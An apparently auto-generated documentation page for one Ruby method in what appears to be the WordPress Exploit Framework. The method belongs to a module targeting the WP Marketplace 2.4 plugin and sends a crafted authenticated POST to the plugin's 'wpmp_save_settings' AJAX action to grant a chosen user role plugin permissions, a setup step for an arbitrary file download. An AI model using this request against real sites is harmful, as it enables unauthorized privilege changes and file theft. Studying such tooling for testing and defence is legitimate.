Method: Wpxf::Auxiliary::WpMarketplaceV24FileDownload#modify_plugin_permissions

Defined in:
lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb

#modify_plugin_permissionsObject



54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 54

def modify_plugin_permissions
  res = execute_post_request(
    url: full_uri,
    body: {
      'action'                      => 'wpmp_pp_ajax_call',
      'execute'                     => 'wpmp_save_settings',
      '_wpmp_settings[user_role][]' => datastore['user_role'].downcase
    },
    cookie: session_cookie
  )

  unless res && res.code == 200 && res.body =~ /Settings Saved Successfully/i
    emit_error 'Failed to modify the plugin permissions'
    return false
  end

  true
end